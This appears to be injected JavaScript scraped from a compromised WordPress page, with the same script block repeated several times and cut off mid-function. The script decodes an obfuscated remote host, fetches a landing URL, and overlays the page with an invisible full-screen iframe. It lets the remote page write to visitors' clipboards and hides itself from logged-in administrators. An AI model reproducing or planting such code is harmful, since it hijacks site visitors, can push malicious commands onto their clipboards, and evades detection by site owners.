  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
